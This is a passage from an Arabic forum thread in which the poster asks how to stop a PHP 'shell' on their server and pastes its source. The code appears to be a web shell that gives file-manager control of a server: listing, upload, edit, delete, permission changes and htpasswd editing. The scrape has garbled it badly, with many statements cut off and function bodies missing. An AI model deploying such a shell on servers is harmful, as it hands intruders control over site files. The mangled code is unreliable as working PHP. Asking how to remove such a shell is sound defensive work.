منتدى استراحات زايد

منتدى استراحات زايد (http://vb.ma7room.com/index.php)
-   منتدى أخبار المواقع والمنتديات العربية والأجنبية (http://vb.ma7room.com/forumdisplay.php?f=183)
-   -   [مشكلة] : مشكلة السيرفر (http://vb.ma7room.com/showthread.php?t=1312995)

محروم.كوم 09-08-2013 06:21 AM

[مشكلة] : مشكلة السيرفر
 
<div><div align="center">السلام عليكم

ممكن طريقة منع عمل الشل ده ياجماعه ضروري :crazy:

<div style="margin:20px; margin-top:5px"> رمز PHP:
<div class="alt2"> <div dir="ltr" style="text-align:left;"> <span style="color: #000000">$filename,
'path' => $path,
'is_file' => @is_file($path),
'is_dir' => @is_dir($path),
'is_link' => @is_link($path),
'is_readable' => @is_readable($path),
'is_writable' => @is_writable($path),
'size' => $stat['size'],
'permission' => $stat['mode'],
'owner' => $stat['uid'],
'group' => $stat['gid'],
'mtime' => @filemtime($path),
'atime' => @fileatime($path),
'ctime' => @filectime($path)
);
if (
$file['is_dir']) {
$file['is_executable'] = @file_exists($path . $delim . '.');
} else {
if (!
$win) {
$file['is_executable'] = @is_executable($path);
} else {
$file['is_executable'] = true;
}
}
if (
$file['is_link']) $file['target'] = @readlink($path);
if (
function_exists('posix_getpwuid')) $file['owner_name'] = @reset(posix_getpwuid($file['owner']));
if (
function_exists('posix_getgrgid')) $file['group_name'] = @reset(posix_getgrgid($file['group']));
$files[] = $file;
}
}
return
$files;
} else {
return
false;
}
}
function
sortlist (&$list, $key, $reverse) {
quicksort($list, 0, sizeof($list) - 1, $key);
if (
$reverse) $list = array_reverse($list);
}
function
quicksort (&$array, $first, $last, $key) {
if (
$first 'image/png',
'\.html$|\.html$' => 'text/html',
'\.txt$|\.asc$' => 'text/plain',
'\.xml$|\.xsl$' => 'application/xml',
'\.pdf$' => 'application/pdf'
);
foreach (
$mimes as $regex => $mime) {
if (
eregi($regex, $filename)) return $mime;
}
return
'text/plain';
}
function
del ($file) {
global
$delim;
if (!@
is_link($file) && !file_exists($file)) return false;
if (!@
is_link($file) && @is_dir($file)) {
if (
$dir = @opendir($file)) {
$error = false;
while ((
$f = readdir($dir)) !== false) {
if (
$f != '.' && $f != '..' && !del($file . $delim . $f)) {
$error = true;
}
}
closedir($dir);
if (!
$error) return @rmdir($file);
return !
$error;
} else {
return
false;
}
} else {
return @
unlink($file);
}
}
function
addslash ($directory) {
global
$delim;
if (
substr($directory, -1, 1) != $delim) {
return
$directory . $delim;
} else {
return
$directory;
}
}
function
relative2absolute ($string, $directory) {
if (
path_is_relative($string)) {
return
simplify_path(addslash($directory) . $string);
} else {
return
simplify_path($string);
}
}
function
path_is_relative ($path) {
global
$win;
if (
$win) {
return (
substr($path, 1, 1) != ':');
} else {
return (
substr($path, 0, 1) != '/');
}
}
function
absolute2relative ($directory, $target) {
global
$delim;
$path = '';
while (
$directory != $target) {
if (
$directory == substr($target, 0, strlen($directory))) {
$path .= substr($target, strlen($directory));
break;
} else {
$path .= '..' . $delim;
$directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);
}
}
if (
$path == '') $path = '.';
return
$path;
}
function
simplify_path ($path) {
global
$delim;
if (@
file_exists($path) && function_exists('realpath') && @realpath($path) != '') {
$path = realpath($path);
if (@
is_dir($path)) {
return
addslash($path);
} else {
return
$path;
}
}
$pattern = $delim . '.' . $delim;
if (@
is_dir($path)) {
$path = addslash($path);
}
while (
strpos($path, $pattern) !== false) {
$path = str_replace($pattern, $delim, $path);
}
$e = addslashes($delim);
$regex = $e . '((\.[^\.' . $e . '][^' . $e . ']*)|(\.\.[^' . $e . ']+)|([^\.][^' . $e . ']*))' . $e . '\.\.' . $e;
while (
ereg($regex, $path)) {
$path = ereg_replace($regex, $delim, $path);
}
return
$path;
}
function
human_filesize ($filesize) {
$suffices = 'kMGTPE';
$n = 0;
while (
$filesize >= 1000) {
$filesize /= 1024;
$n++;
}
$filesize = round($filesize, 3 - strpos($filesize, '.'));
if (
strpos($filesize, '.') !== false) {
while (
in_array(substr($filesize, -1, 1), array('0', '.'))) {
$filesize = substr($filesize, 0, strlen($filesize) - 1);
}
}
$suffix = (($n == 0) ? '' : substr($suffices, $n - 1, 1));
return
$filesize . " {$suffix}B";
}
function
strip (&$str) {
$str = stripslashes($str);
}
function
listing_page ($message = null) {
global
$self, $directory, $sort, $reverse;
html_header();
$list = getlist($directory);
if (
array_key_exists('sort', $_GET)) $sort = $_GET['sort']; else $sort = 'filename';
if (
array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') $reverse = true; else $reverse = false;
sortlist($list, $sort, $reverse);
echo
'


'
;
directory_choice();
if (!empty(
$message)) {
spacer();
echo
$message;
}
if (@
is_writable($directory)) {
upload_box();
create_box();
} else {
spacer();
}
if (
$list) {
listing($list);
} else {
echo
error('not_readable', $directory);
}
echo
'

'
;
html_footer();
}
function
listing ($list) {
global
$directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;
echo
'

'
;
$d = 'tool=Files&dir=' . urlencode($directory) . '&';
if (!
$reverse && $sort == 'filename') $r = '&reverse=true'; else $r = '';
echo
"\t" . word('filename') . "\n";
if (!
$reverse && $sort == 'size') $r = '&reverse=true'; else $r = '';
echo
"\t" . word('size') . "\n";
if (!
$win) {
if (!
$reverse && $sort == 'permission') $r = '&reverse=true'; else $r = '';
echo
"\t" . word('permission') . "\n";
if (!
$reverse && $sort == 'owner') $r = '&reverse=true'; else $r = '';
echo
"\t" . word('owner') . "\n";
if (!
$reverse && $sort == 'group') $r = '&reverse=true'; else $r = '';
echo
"\t" . word('group') . "\n";
}
echo
' ' . word('functions') . '

'
;
for (
$i = 0; $i = 1000) {
$human = ' title="' . human_filesize($file['size']) . '"';
} else {
$human = '';
}
echo
"\t{$file['size']} B\n";
if (!
$win) {
echo
"\t 0) {
echo
'
'
. str_repeat(' ', 30) . '
'
;
foreach (
$actions as $action) {
echo
"\t\t" . word($action) . "\n";
}
echo
'

'
;
}
echo
'

'
;
}
echo
'





'
;
$actions = array();
if (@
is_writable(dirname($file['path']))) {
$actions[] = 'delete';
$actions[] = 'move';
}
$actions[] = 'copy';
echo
'
'
. str_repeat(' ', 30) . '
'
;
foreach (
$actions as $action) {
echo
"\t\t" . word($action) . "\n";
}
echo
'



'
;
}
function
directory_choice () {
global
$directory, $homedir, $cols, $self;
echo
'

'
. word('directory') . ':




'
;
}
function
upload_box () {
global
$cols;
echo
'

'
. word('file') . ':




'
;
}
function
create_box () {
global
$cols;
echo
'


'
. word('file') . '
'
. word('directory') . '





'
;
}
function
edit ($file) {
global
$self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess;
html_header();
echo
'' . html($file) . '</h2>




'
;
if (
array_key_exists('content', $_POST)) {
echo
$_POST['content'];
} else {
$f = fopen($file, 'r');
while (!
feof($f)) {
echo
html(fread($f, 8192));
}
fclose($f);
}
if (!empty(
$_POST['user'])) {
echo
"\n" . $_POST['user'] . ':' . crypt($_POST['password']);
}
if (!empty(
$_POST['basic_auth'])) {
if (
$win) {
$authfile = str_replace('\\', '/', $directory) . $htpasswd;
} else {
$authfile = $directory . $htpasswd;
}
echo
"\nAuthType Basic\nAuthName &quot;Restricted Directory&quot;\n";
echo
'AuthUserFile &quot;' . html($authfile) . "&quot;\n";
echo
'Require valid-user';
}
echo
'

'
;
if (
$apache && basename($file) == $htpasswd) {
echo
'
'
. word('user') . ':
'
. word('password') . ':


'
;
}
if (
$apache && basename($file) == $htaccess) {
echo
'


'
;
}
echo
'








[ '
. word('back') . ' ]



'
;
html_footer();
}
function
spacer () {
global
$cols;
echo
'


'
;
}
function
textfieldsize ($content) {
$size = strlen($content) + 5;
if (
$size $value) {
echo
"\t\n";
}
}
function
html ($string) {
global
$charset;
return
htmlentities($string, ENT_COMPAT, $charset);
}
function
word ($word) {
global
$words, $word_charset;
return
htmlentities($words[$word], ENT_COMPAT, $word_charset);
}
function
phrase ($phrase, $arguments) {
global
$words;
static
$search;
if (!
is_array($search)) for ($i = 1; $i '', '[' => '', ']' => '');
return
str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase]))));
}
function
getwords ($lang) {
global
$word_charset, $date_format;
switch (
$lang) {
case
'en':
default:
$date_format = 'n/j/y H:i:s';
$word_charset = 'ISO-8859-1';
return array(
'directory' => 'Directory',
'file' => 'File',
'filename' => 'Filename',
'size' => 'Size',
'permission' => 'Permission',
'owner' => 'Owner',
'group' => 'Group',
'other' => 'Others',
'functions' => 'Functions',
'read' => 'read',
'write' => 'write',
'execute' => 'execute',
'create_symlink' => 'create symlink',
'delete' => 'delete',
'rename' => 'rename',
'move' => 'move',
'copy' => 'copy',
'edit' => 'edit',
'download' => 'download',
'upload' => 'upload',
'create' => 'create',
'change' => 'change',
'save' => 'save',
'set' => 'set',
'reset' => 'reset',
'relative' => 'Relative path to target',
'yes' => 'Yes',
'no' => 'No',
'back' => 'back',
'destination' => 'Destination',
'symlink' => 'Symlink',
'no_output' => 'no output',
'user' => 'User',
'password' => 'Password',
'add' => 'add',
'add_basic_auth' => 'add basic-authentification',
'uploaded' => '"[%1]" has been uploaded.',
'not_uploaded' => '"[%1]" could not be uploaded.',
'already_exists' => '"[%1]" already exists.',
'created' => '"[%1]" has been created.',
'not_created' => '"[%1]" could not be created.',
'really_delete' => 'Delete these files?',
'deleted' => "These files have been deleted:\n[%1]",
'not_deleted' => "These files could not be deleted:\n[%1]",
'rename_file' => 'Rename file:',
'renamed' => '"[%1]" has been renamed to "[%2]".',
'not_renamed' => '"[%1] could not be renamed to "[%2]".',
'move_files' => 'Move these files:',
'moved' => "These files have been moved to \"[%2]\":\n[%1]",
'not_moved' => "These files could not be moved to \"[%2]\":\n[%1]",
'copy_files' => 'Copy these files:',
'copied' => "These files have been copied to \"[%2]\":\n[%1]",
'not_copied' => "These files could not be copied to \"[%2]\":\n[%1]",
'not_edited' => '"[%1]" can not be edited.',
'executed' => "\"[%1]\" has been executed successfully:\n{%2}",
'not_executed' => "\"[%1]\" could not be executed successfully:\n{%2}",
'saved' => '"[%1]" has been saved.',
'not_saved' => '"[%1]" could not be saved.',
'symlinked' => 'Symlink from "[%2]" to "[%1]" has been created.',
'not_symlinked' => 'Symlink from "[%2]" to "[%1]" could not be created.',
'permission_for' => 'Permission of "[%1]":',
'permission_set' => 'Permission of "[%1]" was set to [%2].',
'permission_not_set' => 'Permission of "[%1]" could not be set to [%2].',
'not_readable' => '"[%1]" can not be read.'
);
}
}
function
getimage ($image) {

}
function
html_header () {


}
function
html_footer () {
echo =
2) {
$lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
} else {
$lang = 'en';
}
}
$words = getwords($lang);
$cols = ($win) ? 4 : 7;
if (!isset(
$dirpermission)) {
$dirpermission = (function_exists('umask')) ? (0777 & ~umask()) : 0755;
}
if (!isset(
$filepermission)) {
$filepermission = (function_exists('umask')) ? (0666 & ~umask()) : 0644;
}
if (!empty(
$_SERVER['SCRIPT_NAME'])) {
$self = html(basename($_SERVER['SCRIPT_NAME']));
} elseif (!empty(
$_SERVER['PHP_SELF'])) {
$self = html(basename($_SERVER['PHP_SELF']));
} else {
$self = '';
}
if (!empty(
$_SERVER['SERVER_SOFTWARE'])) {
if (
strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') {
$apache = true;
} else {
$apache = false;
}
} else {
$apache = true;
}
switch (
$action) {
case
'view':
if (
is_script($file)) {
ob_start();
highlight_file($file);
$src = ereg_replace(<span style="color: #DD0000">'


الساعة الآن 03:16 PM

Powered by vBulletin® Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.
Content Relevant URLs by vBSEO 3.5.2 TranZ By Almuhajir


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227